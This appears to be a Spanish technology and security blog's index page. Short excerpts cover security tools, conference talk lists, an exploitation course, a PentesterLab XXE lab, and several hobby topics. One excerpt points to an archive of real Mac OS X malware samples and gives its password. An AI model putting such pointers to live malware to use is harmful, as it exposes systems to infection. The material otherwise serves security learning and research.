Configuration discovery Inspección de sistemas, extracción de la configuración y software instalado. Dichos datos pueden ser usados para replicar un sistema, monitorizar el historial de cambios y pueden ser usados en referencia hacia otros sistemas.

Wiki sobre seguridad móvil

Nada más y nada menos que eso, Mobile Security Wiki, es un wiki con una enorme lista de herramientas, aplicaciones, tutoriales, libros, presentaciones, etc, sobre seguridad móvil.

Parece que sólo cubre los sistemas móviles Android, iOS y Windows Phone.

El wiki está dividido en las siguientes secciones:

• Forensics Tools
• Development Tools
• Static Analysis Tools
• Dynamic Analysis Tools
• Reverse Engineering Tools
• Hooking Tools
• Obfuscators & Deobfuscators Tools
• Online Analyzers
• Android Testing Distributions
• Android Vulnerable Apps
• Android Security Apps
• Android Malwares Related
• Tutorials
• Android Vulnerability List
• Android Security Libraries
• Best Practices
• Books
• Android Security Research Papers
• Security Overview
• Presentations
• Contribute

Bokken, una interfaz gráfica encima de Radare y …

Aunque Pyew y mucho menos Radare necesitan presentación, en un par de párrafos muy cortos voy intentar describir a ambas.

Radare no es sólo una herramienta o un conjunto de éstas, sino además provee un conjunto de librerías que te permiten poder integrarlas en tus propias utilidades. Entre algunas de sus características más destacadas, cuenta con desensamblador/ensamblador, depurador, información de binarios, etc. Desde finales del año pasado, Radare también dispone de una interfaz gráfica basada en viz.js.

Crucigrama sobre la línea de comandos

Si estás aburrido, te gustan los crucigramas y la línea de comandes, aquí tienes un crucigrama en el que las palabras a encontrar son comandos de Bash (posiblemente sean comandos comunes en otros intérpretes de comandos).

Por cierto, si quieres crear tu propio crucigrama, echa un vistazo a EclipseCrossword.

AIMSICD, un detector de StingRays

Antes de hablar de AIMSICD y StingRays, tenemos que hablar de IMSI-Catcher.

IMSI (International Mobile Subscriber Identity) Catcher es una tecnología de escucha o monitorización del tráfico generado por teléfonos móviles. Es básicamente una torre false de telefonía móvil que se sitúa entre un teléfono y una torre legítima. Lo que se conoce como un man in the middle.

Este tipo de dispositivos es conocido que los usan las fuerzas del orden y agencias de inteligencia en los EEUU, aunque parece que también se usan afuera de las fronteras del país estadounidense.

Más integración entre Google y tu dispositivo …

Hace varios días os hablábamos sobre cómo compartir una ruta desde tu navegador, directamente a tu dispositivo Android.

Hoy os hablamos de 2 nuevas funcionalidades de integración entre Google y tu Android. Una es el envío de notas y la otra el establecer una alarma.

Para el envío de notas al igual que explicamos en la entrada anterior, todo lo que tienes que escribir es: send a note (o alguna forma similar que Google sea capaz de adivinar, por ejemplo send note sin la “a”).

Diseño del cifrado del sistema de ficheros en EXT4

Con la salida del nuevo núcleo de Linux 4.1 RC, una de entre las muchas novedades que se incluyen es la capacidad del cifrado del sistema de ficheros en EXT4 de forma nativa.

Esta nueva característica, obra de Google, es un movimiento importante no sólo para el escritorio y servidores, sino para los dispositivos móviles con Android, de ahí el interés de Google probablemente.

En Google docs hay un documento público en el que se detalla el diseño de dicha funcionalidad. El documento sólo contiene once páginas en este momento y es siempre muy interesante leer este tipo de documentación, especialmente porque es algo que eventualmente correrá, como decía antes, no sólo en los sistemas de escritorio y servidor sino también en los dispositivos Android y probablemente cualquier cosa que lleve un núcleo de Linux, al menos en su versión 4.1.

Récord mundial resolviendo el cubo de Rubik

Collin Burns un adolescente que participaba en la fase final de una competición en resolver el cubo de Rubik (3x3) en Doylestown, Pennsylvania, EEUU, sorprendentemente consiguió resolverlo en 5.253 segundos, batiendo así el récord del mundo.

A continuación podéis ver el vídeo:

Infraestructura de Streaming detrás del mundial …

El mundial de fútbol es quizás el evento deportivo con más trascendencia del mundo, diría que incluso por encima de las olimpiadas. Y en los tiempos que corren, en el que casi todo se mueve a través de internet y telecomunicaciones, puedes imaginarte el tráfico generado por el servicio de srteaming detrás de un evento como este.

En esta entrada de Leandro Moreira, nos explica de forma muy resumida algunos de los problemas con los que tuvieron que lidiar, la tecnología que usaron, etc. Además han liberado algunos de los componentes que fueron factor clave para el éxito de dicha arquitectura.

Envía la ruta de direcciones a tu dispositivo …

Cuando tengo que ir a algún lugar en el que nunca he estado o simplemente no recuerdo cómo llegar, uso el navegador de mi teléfono móvil (Google Maps) para que me indica la ruta.

Normalmente, especialmente cuando al sitio al que voy es la primera vez que lo visito, suelo echar un vistazo en Google Maps, para hacerme una idea de la ruta, duración del trayecto, etc. Un vez hecho eso, me solía mandar a mi propio corre electrónico la dirección del lugar y luego desde el teléfono copiaba y pegaba dicha dirección en Google Maps y a navegar se dijo. No es que fuera una tarea tediosa, pero sería más cómodo que de alguna forma me pudiera mandar la dirección al teléfono y automáticamente me abriera la aplicación de Google Maps con la dirección ya introducida. Eso es precisamente lo que Google ha hecho. Desde Google, puedes buscar: Send directions. Esto hará además de mostrar el resultado correspondiente a dicha búsqueda, muestre al principio de la página un cuadro de texto de Google Maps, con la lista de tus dispositivos que tengas registrados y conectados con Google, y una entrada de texto dónde puedes poner la dirección destino. Por defecto, el origen es la localización del dispositivo móvil que hayas seleccionado y debajo del mapa tienes un enlace para el envío de dicha dirección al dispositivo (tal y como podemos ver en la imagen que encabeza esta entrada).

Ubuntu MATE para Raspberry Pi 2

Con la versión 2 de Raspberry Pi y sus nuevas características, las posibilidades de uso de este mini ordenador, también crecen.

A modo resumen y para refrescarle a alguno la memoria, las principales características de Raspberry Pi 2 son:

• 900MHz quad-core ARM Cortex-A7 CPU
• 1GB RAM
• 4 puertos USB
• 40 pins GPIO
• Puerto HDMI
• Puerto Ethernet
• Jack de audio 3.5mm y vídeo compuesto
• Interfaz de cámara (CSI)
• Interfaz de pantalla (DSI)
• Lector de tarjeta Micro SD
• VideoCore IV 3D

Con esta nueva versión incluso es capaz de correr una versión especial de Windows 10.

En el mundo Linux, las posibilidades también crecen por supuesto, y de echo ahora podemos correr distribuciones más modernas y que requieren más potencial hardware.

The Beginner’s Guide to IDAPython

The Beginner’s Guide to IDAPython es un libro electrónico que te puedes descargar en formato PDF y de forma totalmente gratuita, aunque se recomienda que dones algo de dinero, al menos si te vas a beneficiar de forma profesional.

El libro como bien dice el título, trata sobre IDAPython, un plugin para IDA Pro que nos permite integrar scripts en python dentro del mismo y contiene un gran número de ejemplos.

Monitorizando la actividad de tu aplicación …

HP ha liberado una aplicación gratuita para ayudar a los equipos de seguridad y calidad encontrar vulnerabilidades.

ShadowOS, así se llama, está basado en una versión modificada de Android Kitkat, la cual intercepta la actividad generada en el sistema en general, en las siguientes áreas:

• Acceso al sistema de ficheros. Muestra todo los accesos de lectura y escritura (path + nombre de fichero)
• HTTP/HTTPS. Muestra todas la llamadas HTTP/HTTPS realizadas por la aplicación, incluyendo las realizadas por Webkit.
• SQL Lite. Muestra todas las consultas a SQL Lite, incliyendo apertura, inserts y updates.
• Cordova / PhoneGap. Muestra el tráfico web en aplicaciones basadas en Webkit.

ShadowOS, además de la versión de Android Kitkat, incluye una aplicación monitor, que es la que se comunica y nos muestra toda la actividad en las áreas anteriormente mencionadas. Requiere:

• Windows Vista o superior
• Privilegios de Administrador
• .Net 4.5
• Android SDK para Windows

Aquí tenéis un vídeo de demostración:

https://www.youtube.com/watch?v=rfshPBeVSoc

Binary Ninja

Binary Ninja es un conjunto de herramientas enfocada al análisis y descubrimiento de vulnerabilidades en ficheros binarios.

Incluye entre otros:

• Editor hexadecimal
• Editor de texto
• Desensamblador (con gráfico de flujo)
• Terminal integrado
• Compilador de shellcodes

La mayor parte del código está escrito en Python, más algúna implementación nativa en C++11. Es multiplataforma y open source bajo GPLv2, a excepción de las librerías de desensamblado que tienen licencia MIT.

Actualmente hay disponible una versión prototipo, disponible en github.

Vídeos PyCon 2015

Entre el 8 y el 16 de abril, se celebró en Montreal la conferencia más distinguida enfocada al lenguaje de programación Python: PyCon 2015.

La lista de charlas es bastante amplia y tocan todo tipo de temas alrededor de Python. Si te interesa este lenguaje de programación que tan de moda está, aquí tienes material de sobra para pasar un buen rato:

• Keynote - Guido van Rossum
• Keynote - Gabriella Coleman
• Type Hints - Guido van Rossum
• Closing Messages
• Jim Baker - Getting to Jython 2.7 and beyond
• Mike Howsden - Zen of Quality - How PBS measures QoS for digital viewers
• Luke Sneeringer - Improve your development environments with virtualization
• Thomas Ballinger - Terminal whispering
• Geoff Gerrietts - Performance by the Numbers: analyzing the performance of web applications
• Curtis Lassam - Hash Functions and You: Partners in Freedom
• Mica Swyers, Jay Chan - Finding Spammers & Scammers through Rate Tracking with Python & Redis
• Christine Spang - WebSockets from the Wire Up
• Tom Eastman - Serialization formats are not toys
• ---Incomplete talk --- A. Jesse Jiryu Davis - Python Performance Profiling: The Guts And The Glory
• Pete Fein - Free Software, Free People
• Sarah Bird - Interactive data for the web - Bokeh for web developers
• Andrew Montalenti - streamparse: real-time streams with Python and Apache Storm
• Ying Li - Where in your RAM is "python san_diego.py"?
• Hynek Schlawack - Beyond grep: Practical Logging and Metrics
• Smart services & smart clients: How micro-services change the way you build and deploy code.
• Christine Spang - To ORM or not to ORM
• Keynote - Jacob Kaplan-Moss - Pycon 2015
• Keynote - Van Lindberg - Pycon 2015
• Lightning Talks - April 11th 17h30 - Pycon 2015
• Lightning Talks - April 12th 08h30 - Pycon 2015
• Kathleen Danielson - Avoiding Burnout, and other essentials of Open Source Self-Care
• Jim Baker - A Winning Strategy with The Weakest Link: how to use weak references…
• Colton Myers - Managing Your Infrastructure with SaltStack
• Nicholas Tollervey - Lessons learned with asyncio ("Look ma, I wrote a distributed hash table!")
• Clayton Parker - So you think you can PDB?
• Sasha Laundy - Your Brain's API: Giving and Getting Technical Help
• Brandon Rhodes - Oh, Come On Who Needs Bytearrays
• A. Jesse Jiryu Davis - Eventually Correct: Testing Async Apps
• Matt Makai, Kate Heddleston - Choose Your Own WSGI Deployment Adventure
• Alex Gaynor - Techniques for Debugging Hard Problems
• Allison Kaptur - Exploring is never boring: understanding CPython without reading the code
• Carina C. Zona - Schemas for the Real World
• Daniel Vanderkam - Make web development awesome with visual diffing tools
• Laura Rupprecht - Describing Descriptors
• Domen Kožar - Rethinking packaging, development and deployment
• Elizabeth Ramirez - Graph Database Patterns in Python
• en zyme, Jon Henner - Pythons are Deaf, So are Some Pythonistas
• Olivier Grisel - Build and test wheel packages on Linux, OSX & Windows
• Dan Tracy - Ship it: Deployments with Pip
• Glyph - The Ethical Consequences Of Our Collective Activities
• Allison Kaptur - Bytes in the Machine: Inside the CPython interpreter
• Ian Cordasco - Cutting Off the Internet: Testing Applications that Use Requests
• James Cammarata - Achieving Continuous Delivery: An Automation Story
• Mali Akmanalp - Other people's messy data (and how not to hate it!)
• Richard Jones - Introduction to game programming with Kivy
• Christophe Pettus - PostgreSQL Proficiency for Python People
• Jarret Raim, Paul Kehrer - What to do when you need crypto
• Making Beautiful Graphs in Python and Sharing Them
• Olivier Grisel - Machine Learning with Scikit-Learn (II)
• Orlando Karam - Introduction to Spark with python
• Brandon Rhodes - Pandas From The Ground Up
• Stuart Williams - Python by Immersion
• Katie Cunningham - Usability Testing on the Cheap
• Shauna Gordon-McKeon - Open Source for Newcomers and the People Who Want to Welcome Them
• Itamar Turner-Trauring - A Beginner's Guide to Test-driven Development
• Ned Batchelder - Facts and Myths about Python names and values
• Andrew T. Baker - Demystifying Docker
• Nina Zakharenko - Technical Debt - The code monster in everyone's closet
• Carol Willing - Finding Your Groove: Contributing to CPython and Beyond
• Philip James, Asheesh Laroia - Type python, press enter. What happens?
• Kate Heddleston - How our engineering environments are killing diversity (and how we can fix it).
• Michael Scherer - Ansible beyond YAML
• Andreas Dewes - Learning from other's mistakes: Data-driven analysis of Python code
• Dan Crosta - Good Test, Bad Test
• Amy Hanlon - Investigating Python Wats
• Greg Ward - How to Write Reusable Code
• Julia Evans - Systems programming as a swiss army knife
• Lightning Talks - April 11th 8h30- Pycon 2015
• Lightning Talks - April 10th - Pycon 2015
• Sarina Canelake - I18N: World Domination the Easy Way
• Josh Triplett - Porting Python to run without an OS
• How to build a brain with Python
• Jeff Schenck - The REST Ascendancy
• Fire your supervisord running Python apps on CoreOS
• Chris McDonough - Using Supervisor For Fun And Profit
• Renee Chu, Matt Makai - Don't Make Us Say We Told You So: virtualenv for New Pythonistas
• Losing your Loops Fast Numerical Computing with NumPy
• Melanie Warrick - Neural Nets for Newbies
• Raymond Hettinger - Super considered super!
• Jenny Cheng - 3D Print Anything with the Blender API
• Titus Brown - How to interpret your own genome using (mostly) Python.
• Miguel Grinberg - Is Your REST API RESTful?
• Kenny Yarboro - Building a REST API Using Django & Django REST Framework
• Dan Callahan - My Python's a little Rust-y
• Miriam Lauter - Make your own Smart Air Conditioner
• Michelle Fullwood - Grids, Streets and Pipelines: Building a linguistic street map with scikit-learn
• Katherine Scott - Robots Robots Ra Ra Ra!!!
• What Python can learn from Erlang
• Chris Waigl - Satellite mapping for everyone
• lvh - Distributed Systems 101
• David Beazley - Python Concurrency From the Ground Up: LIVE!
• David Baumgold - Advanced Git
• Brett Cannon - How to make your code Python 2/3 compatible
• Raymond Hettinger - Beyond PEP 8 -- Best practices for beautiful intelligible code
• Soups Ranjan - Data Science in Advertising: Or a future when we love ads
• Cory Benfield - Hyperactive: HTTP/2 and Python
• Benjamin Peterson - A Dive into TLS
• Donald Miner - Hadoop with Python
• Andrew Godwin - What can programmers learn from pilots?
• Ryan Kelly - PyPy.js: What? How? Why?
• Ashwini Oruganti, Christopher Armstrong - Introduction to HTTPS: A Comedy of Errors
• Viviane Pons - Experimental pure mathematics using Sage
• Miguel Grinberg - Flask Workshop
• Brett Slatkin - How to Be More Effective with Functions
• lvh - Building secure systems
• Kyle Kastner - Machine Learning 101
• Kurt Grandis - Exploring Minecraft and Python: Learning to Code Through Play
• Adam Palay - "Words, words, words": Reading Shakespeare with Python
• Hands-on with Pydata: how to build a minimal recommendation engine.
• Keynote - Catherine Bracy
• Sarah Guido, Celia La - Twitter Network Analysis with NetworkX
• David Beazley - Modules and Packages: Live and Let Die!
• Opening Statements - Julia Evans
• Allen Downey - Statistical inference with computational methods
• James Bennett - Django in Depth
• Stuart Williams - Python Epiphanies
• Mike Müller - Descriptors and Metaclasses - Understanding and Using Python's More Advanced Features
• Luke Sneeringer - Ansible 101
• David Chudzicki, Christine Doig - Winning Machine Learning Competitions With Scikit-Learn
• Getting comfortable with web security: A hands-on session
• Allen Downey - Bayesian statistics made simple
• Sarah Guido - Hands-on Data Analysis with Python
• Jacinda Shelly - Delving into the Django Admin
• IPython & Jupyter in depth: high productivity interactive and parallel python
• Shiny, Let's Be Bad Guys: Exploiting and Mitigating the Top 10 Web App Vulnerabilities
• Eric Ma - Practical Graph/Network Analysis Made Simple
• Harry Percival - TDD with Django, from scratch: a beginner's intro to testing and web development
• Jake VanderPlas - Machine Learning with Scikit-Learn (I)
• Andrew T. Baker - Docker 101: Introduction to Docker

Termómetro para barbacoa, ahumador, horno... con …

Hace un par de fin de semanas que quedé con un amigo para ahumar unas costillas y solomillos. El proceso de ahumar, para mi sorpresa es más laborioso y delicado de lo que pensaba. Una de las claves de dicho proceso es la temperatura.

El ahumador de este amigo mío, por supuesto tenía un termómetro, pero dejó de funcionar aquel día, así que tuvimos que estimar la potencia del mismo, y así salíó la carne :p

Asignando IP estática al adaptador inalámbrico de …

Cada vez que juego con un Raspberry Pi, el resultado final suele ser conectar algún sensor y exponer los datos del mismo a través de algún servicio REST. Esto implica que el RPi es instalado en mi red en modo servidor, al cual le mando peticiones y recibo respuestas.

Por defecto, cuando instalas el sistema operativo (Raspbian en mi caso), la configuración del adaptador inalámbrico es trivial, pero se configura en modo DHCP, es decir, el router asigna la IP de forma dinámica. Normalmente, te asigna la misma IP siempre, pero no se garantiza.

Domingo por la mañana ... This Will Destroy You, …

This Will Destroy You …

Esa batería del final sólo es comparable a Mogwai y su magnífico “Mogwai fear Satan” …

Técnicas moderna de explotación de Objective-C

La ezine sobre hacking/seguridad por excelencia, Phrack, acaba de publicar un nuevo documento titulado Modern Objective-C Exploitation Techniques.

El documento trata sobre la explotación de aplicaciones escritas en Objective-C basada en la corrupción de la memoria. El autor de dicho trabajo, ya publicó en su día otro artículo en el número 66 de Phrack sobre cómo entender y abusar Objective-C en tiempo de ejecución The Objective-C Runtime: Understanding and Abusing, cuya lectura es recomendada previo a ésta.

Muestras de malware Mac OS X

¿Intersado en el análisis de malware para Mac OS X?

Aquí puedes encontrar un archivo .zip con ocho muestrar de malware para Mac OS X:

• CoinThief
  • http://www.securemac.com/CoinThief-BitCoin-Trojan-Horse-MacOSX.php
  • https://threatpost.com/cointhief-bitcoin-trojan-found-on-popular-download-sites
• iWorm
  • http://www.intego.com/mac-security-blog/iworm-botnet-uses-reddit-as-command-and-control-center/
  • https://www.virusbtn.com/pdf/magazine/2014/vb201410-iWorm.pdf
• Janicab
  • http://www.thesafemac.com/new-signed-malware-called-janicab/
  • http://www.intego.com/mac-security-blog/new-mac-malware-janicab-uses-old-trick-to-hide/
  • https://www.f-secure.com/weblog/archives/00002576.html
• Kitmos
  • http://threatpost.com/new-mac-malware-discovered-on-attendee-computer-at-anti-surveillance-workshop/
  • http://www.f-secure.com/weblog/archives/00002554.html
• LaoShu
  • https://nakedsecurity.sophos.com/2014/01/21/data-stealing-malware-targets-mac-users-in-undelivered-courier-item-attack/
  • http://www.thesafemac.com/delivery-notice-trojan-targeting-mac-users/#more-1301
• MacVX
  • http://malwaretips.com/blogs/remove-macvx-virus/
• WireLurker
  • http://researchcenter.paloaltonetworks.com/2014/11/wirelurker-new-era-os-x-ios-malware/
  • https://www.paloaltonetworks.com/content/dam/paloaltonetworks-com/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
• XSLcmd
  • https://www.fireeye.com/blog/threat-research/2014/09/forced-to-adapt-xslcmd-backdoor-now-on-os-x.html

El archivo está protegido con la contraseña infect3d

Recalco que esto no son muestras de ensayo, es malware real, así que ándate con cuidado.

Vídeos de BSides Nashville 2015

Cortesía de Irongeek, podemos ver los vídeos de las charlas de BSides Nashville 2015.

La list es la siguiente:

• BSides Nashville Intro and Pondering the False Economy of Secrets
• Applied Detection and Analysis Using Flow Data
• Using devops monitoring tools to increase security visibility
• The Great Trojan Demo
• Nobody Understands Me: Better Executive Metrics
• We Built This & So Can You!
• That's NOT my RJ45 Jack!: IRL Networking for Humans
• Finding Low Hanging Fruit with Kali
• What do infosec practitioners actually do
• From Parking Lot to Server Room
• N4P Wireless Pentesting: So easy even a caveman can do it
• hashcat
• Skiddiemonkeys: Fling "stuff" at your Defenses and See What Sticks
• Agile and Security - Oil and Water?

"Hackéate" tú primero

Hack yourself first (PDF) es un libro disponible de forma totalmente gratuita en el nos enseñan técnicas de pen testing básicas. A pesar de que dichas técnicas sean comunes en un ejercicio de penetración, el propósito del libro es la defensa, es decir, nos enseña a encontrar vulnerabilidades comunes (más comunes de lo que muchas veces creemos) en nuestra propia red o sistemas antes de que la encuentre algún pen tester o en el peor de los casos, algún criminal.

Microhistorias: "Mi primer día en Atari llevé un …

Esta frase con la que abrimos este post la dice literalmente Howard Scott Warshaw, más conocido como el programador de E.T. para Atari (para muchos considerado el peor videojuego de la Historia) en el documental "Atari: Game Over" que podéis ver en YouTube (sobre el minuto 12:30 del primer vídeo le escucharéis decir la frase):

 

Al principio del documental Howard nos cuenta cómo fue su primer día de trabajo en la compañía Atari el 11 de Enero de 1981.

Play XML Entities, ejercicio de explotación

Una vez más la fantástica web pentesterlab ha creado otro laboratorio práctico dónde podemos pasar un buen rato aprediendo/mejorando nuestras habilidad sobre seguridad en aplicaciones web.

Una vez más la aplicación vulnerable está construida sobre el framework Play. En este caso exponen una vulnarabilidad (que ya ha sido corregida) que se aprovecha de un error en el procesado de documentos XML.

El ejercicio se basa en el robo de ficheros del sistema aprovechando la vulnerabilidad mencionada anteriormente.

Presentaciones de SyScan 2015

También están disponibles las presentaciones de SyScan 2015:

• Finding and exploiting novel flaws in Java software
• Attacks on telecom operators and mobile subscribers using SS7: from DoS to call interception
• got root? Compromising OS X
• HARES: Hardened Anti-Reverse Engineering System
• A Link to the Past: Abusing Symbolic Links on Windows
• Cryptographic backdooring
• Caring Less - De-humanizing Human Vulnerability Assessment
• How to own any windows network via group policy hijacking attacks
• Shooting Elephants
• BadXNU, a rotten apple!
• Crash & Pay: Owning and Cloning NFC Payment cards
• Back to the Core
• The challenges of designing a secure encrypted hard drive
• STEGOSPLOIT – HACKING WITH PICTURES
• iOS 678 Security - A Study in Fail
• The Birth of a Complete IE11 Exploit Under the New Exploit Mitigations

Presentaciones CanSecWest Vancouver 2015

Ya están disponible para descarga las presentaciones de CanSecWest Vancouver 2015. La lista es la siguiente:

• Project Zero: Making 0days Hard - Ben Hawkes, Chris Evans Google
• Taming wild copies: from hopeless crash to working exploit - Chris Evans @scarybeasts of Google's Project Zero
• I see therefore I am.... You - Jan "starbug" Krissler, T-Labs/CCC
• Smart COM fuzzing tool - Explore More Sandbox Bypassing Surface in COM objects - Xiaoning Li & Haifei Li, Intel
• A new class of vulnerability in SMI Handlers of BIOS/UEFI Firmware - John Loucaides & Andrew Furtak, Intel
• Sexrets in LoadLibrary - Yang Yu @tombkeeper, Tencent
• Attacking WebKit Applications by exploiting memory corruption bugs - Liang Chen of KeenTeam
• Userland Exploits of Pangu 8 - Team Pangu @PanguTeam
• Attacks on UEFI Security - Rafal Wojtczuk & Corey Kallenberg
• FreeSentry: Protecting against use-after-free vulnerabilities due to dangling pointers - Yves Younan, Cisco (Sourcefire/VRT)
• DLL Hijacking' on OS X? #@%& Yeah! - Patrick Wardle @patrickwardle, Synack
• Memminer: Real-Time Passive Volatile Memory Inspection Inside Virtual Machines - John Williams, EY
• NDIS Packet of Death: Turning Windows' Complexity Against Itself - Nitay Artenstein, Checkpoint
• How many million BIOSes would you like to infect? - Corey Kallenberg & Xeno Kovah, LegbaCore
• UEFI, Open Platforms and the Defender's Dillema - Vincent Zimmer, Intel
• Wolf in Sheep's Clothing: Your Next APT is Alread  Whitelisted - Fabio Assolini and Juan Andres Guerrero-Saade
• There's Something About WMI - Christopher Glyer and Devon Kerr, Mandiant
• Credential Assessment: Mapping Privilege Escalation at Scale - Matthew Weeks, root9b
• From baseband to bitstream and back again: What security researchers really want to do with SDR - Andy Davis, NCC Group
• Bootkit via SMS: 4G access level security assessment - Kirill Nesterov and Timur Yunusov

Decompiladores de Java online

Si te encuentras en la necesidad, por el motivo que sea, de tener que acceder al código fuente de una aplicación Java y obviamente no tienes acceso al mismo, la mejor opción en la mayoría de los casos es usar un decompilador. Por la naturaleza de la arquitectura del lenguaje Java, a menos que la aplicación que tenemos entre manos haya sido ofuscada, el resultado de la decompilación suele ser bastante precisa, con quizás algunas excepciones.

Modern Binary Exploitation

Desde el Instituto Politécnico de Renssselaer en Troy, Nueva York, nos nos podemos descargar el material de la asignatura titulada Explotación Moderna de Binarios (Modern Binary Expoitation).

La asignatura contiene el siguiente contenido:

• Temario (PDF), diapositivas (PDF).
• Herramientas e Ingeniería Inversa Básica PDF - PPTX. Práctica
• Ingeniería Inversa (continucación) PDF. Práctica
• Ingeniería Inversa Taller
• Introducción a la corrupción de la memoria PDF VM Material Extra
• Práctica corrupción de memoria (no disponible)
• Shellcoding PDF
• Shellcoding PDF de la práctica (La práctica en sí no está disponible)
• Formato de cadenas (Format Strings) PDF
• Formato de cadenas PDF de la Práctica (Práctica no disponible)
• DEP y ROP PDF
• ROP práctica PDF de la práctica (Práctica no disponible)
• Sistemas Seguros y explotación de consolas de juegos PDF PPTX
• Proyecto uno PDF
• ASLR PDF

Computing Machinery and Intelligence (by Alan M. …

1. The Imitation Game

I propose to consider the question, “Can machines think?” This should begin with definitions of the meaning of the terms “machine” and “think.” The definitions might be framed so as to reflect so far as possible the normal use of the words, but this attitude is dangerous, If the meaning of the words “machine” and “think” are to be found by examining how they are commonly used it is difficult to escape the conclusion that the meaning and the answer to the question, “Can machines think?” is to be sought in a statistical survey such as a Gallup poll. But this is absurd. Instead of attempting such a definition I shall replace the question by another, which is closely related to it and is expressed in relatively unambiguous words.

ISIS Lab's Hack Night, Introducción a la seguridad …

ISIS Lab’s Hack Night es un evento que ocurre cada miércoles a las 6 de la tarde en Brooklyn, Nueva York, dónde enseñan técnicas básicas sobre seguridad ofensiva. Si vives por allí fenomenal, puedes asistir en persona, pero si no vives cerca, ¿Qué me importa a mi? Te preguntarás…

La razón de esta entrada no es sobre este evento en particular, sino porque el material que usan para la enseñanza están disponibles de forma gratuita.

Siete herramientas que hicieron posible el rodaje …

Antes de nada para aquellos que no los sepan, CITIZENFOUR es un documental que Laura Poitras creó basado en la historia detrás de Edward Snowden y la revelación de documentos sobre los programas secretos de la NSA y otras agencias de inteligencia.

Dicho documental también fue ganador del Oscar al mejor documental 2014. Al final del documental, Laura Poitras menciona la lista de herramientas que ella considera fueron esenciales y sin éstas, dicho documental no hubiera sido posible.

Recuperando la contraseña de tu wifi desde la …

Desde Linux, al menos en Ubuntu, recuperar la contraseña de tu wifi o alguna de las redes inalámbricas que te hayas conectado con anterioridad, es muy fácil, desde las propiedades del la configuración de red, puedes acceder a las mismas.

Esta entrada como bien dice el título está enfocada a usar la línea de comandos. Desde Ubuntu Linux, para el resto de distribuciones será igual o alguna forma muy parecida, sólo tenemos que ejecutar:

Buscador Google en esteróides

DARPA, Agencia de Proyectos de Investigación Avanzados de Defensa, está desarrollando un buscador capaz buscar información en la deep web, además de la internet que todos conocemos.

El nombre del proyecto es Memex, inspirado en un articulo titulado As we may think, en el que su autor predice cómo un ordenador analógico sustituye la memoria humana, Memex compuesto por las palabras memoria e índice (MEMory and indEX).

El objetivo de dicho buscador, es cubrir la necesidad de encontrar información relevante que ayude a las fuerzas de la ley a combatir el crimen que tiene lugar en la Internet más oculta. Según Chris White, manager del programa DARPA, los buscadores actuales como Google, Bing o Yahoo! sólo con capaces de indexar el 5% del contenido en Internet.

Vídeos de Shmoocon 2015

Ya están disponibles en archive.org los vídeos de recién terminada conferencia de seguridad informática celebrada en Washington DC, Shmoocon 2015.

La lista es la siguiente:

• 0wn the Con
• 5 Usability
• Analyzing POS Malware
• Ask EFF
• Automated Binary Analysis with Pin and Python
• BIOS Bugs
• Closing Remarks
• Cockroach Analysis
• College Hacking
• Come to the Dark Side
• Crypto
• Dark Art of Data Visualization
• Deception for the Cyber Defender
• Eliminating Timing Side Channel Attacks
• Get off my lawn
• How Random Is Your RNG
• Infrastructure Tracking
• Keynote
• Knock Knock
• Malicious Image Spam
• Manually Searching Advisories and Blogs for Threat Data
• Micronesia
• NSA USB Playset
• NaCl Crypto Library
• No Budget Threat Intel
• Opening Rants
• Practical Machine Learning for Network Security
• Quantum Computing
• Rethinking Securitys Role in CompSci Edu
• SEWIFI
• Saturday Firetalks
• Tap On Tap Off
• The Joy of Intelligent Proactive Security
• Understanding a New Memory Corruption Defense
• Userland Persistance
• Where The Wild Things Are
• Wheres Waldo
• White is the New Black
• Whitelisting Evasion
• Windows Sandbox Paradox
• httpscreenshot

Retos para el aburrimiento

Los que tengáis el privilegio de poder aburriros, nada mejor como un buen reto para le mente, pero cómo aquí nos encanta la programación y la seguridad, el contenido de esta entrada es una lista de recursos/enlaces sobre retos de programación y seguridad, valga la redundancia.

Hackertainment recopila una amplia y valiosa lista de enlaces, muchos de ellos bien conocidos y otros muchos quizás no tanto, y algunos ya publicados en este blog.

Microhistoria: Código fuente de Microsoft BASIC …

Ya sabemos todos como fueron los inicios de Microsoft, o debería decir Micro-Soft.

Básicamente el primer producto que Microsoft creó fue el Altair Basic, un intérprete de Basic para Altair 8800. A partir de éste, la empresa de Redmon empezó a crear versiones de dicho intérprete para otras arquitecturas como el 6800 de Motorola, Z80 o el MOS 6502, entre otros.

La creación de Microsoft Basic, empezando con su versión para Altair 8800, fue creado en un PDP-10, por lo tanto Microsoft no sólo tenía que crear el propio intérprete sino también el código de emulación para cada una de las arquitecturas para las que lo desarrollaron.

Curso en Seguridad de Sistemas Informáticos - MIT

Cuando hablamos sobre tecnología y estudios universitarios, MIT (Massachusetts Institute of Technology) es una de las sedes con más reconocimiento a nivel mundial, si no la que más.

MIT como muchos ya sabéis y como ya os hemos contado, ofrecen online los vídeos y el material de muchas de sus clases.

En esta entrada quería sólo enfocarme en un curso en particular: 6.858: Computer Systems Security. Éste como su nombre bien indica trata sobre seguridad de sistemas informáticos.

Herramientas de seguridad para Android

Como todos ya sabemos el mercado móvil está dominado por dispositivos que corren Android. Esto lo hace objetivo prioritario para los creadores de malware. Prácticamente la misma historia por la que Windows es el más atacado, no por que sea menos seguro que el resto, sino porque es el que más cuota de mercado abarca.

Por lo tanto no es de estrañar que los investigadores sobre seguridad también se vuelquen en él.

Superordenador en tu bolsillo

A Supercomputer In Your Pocket - An infographic by the team at Fonebank

Vídeos de la 31C3

Si os habéis perdido alguna de las charlas de la pasada 31C3, aquí tenéis la lista de las mismas:

• ECCHacks
• Beyond PNR: Exploring airline systems
• Correcting copywrongs
• 31C3 Keynote
• Krypto für die Zukunft
• Thunderstrike: EFI bootkits for Apple MacBooks
• Telescope Making
• Jugend hackt
• 3D Casting Aluminum
• Cyber Necromancy
• Why is GPG "damn near unusable"?
• Attribution revolution
• 31C3 Opening Event
• How I Learned to Stop Reinventing and Love the Wheels
• AMD x86 SMU firmware analysis
• »Hard Drive Punch«
• Why are computers so @#!*, and what can we do about it?
• Global Civil Society Under Attack
• Lightning Talks Day 3
• SS7: Locate. Track. Manipulate.
• Let's Encrypt
• The Magical Secrecy Tour
• Fernvale: An Open Hardware and Software Platform, Based on the (nominally) Closed-Source MT6260 SoC
• Let’s build our own personalized open textile production line
• ES GIBT VIEL ZU TUN - HAU'N WIR AB.
• Mining for Bugs with Graph Database Queries
• Tor: Hidden Services and Deanonymisation
• Practical EMV PIN interception and fraud detection
• Personal Tracking Devices and Online Identity
• Safer playing with lasers
• SCADA StrangeLove: Too Smart Grid in da Cloud
• Inside Field Station Berlin Teufelsberg
